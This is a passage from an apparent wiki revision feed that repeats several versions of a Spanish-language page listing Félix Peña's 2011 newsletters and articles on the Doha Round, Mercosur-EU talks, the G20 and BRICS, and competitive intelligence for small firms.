Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, marzo de 2011 &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de Marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1885</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1885"/>
		<updated>2011-04-25T19:32:54Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* ARTÍCULOS Y NOTAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ueBajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, Marzo de 2011 &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de Marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1884</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1884"/>
		<updated>2011-04-25T19:28:09Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* ARTÍCULOS Y NOTAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ueBajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de Marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1883</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1883"/>
		<updated>2011-04-25T19:19:27Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ueBajar completo del sitio de Félix Peña]&lt;br /&gt;
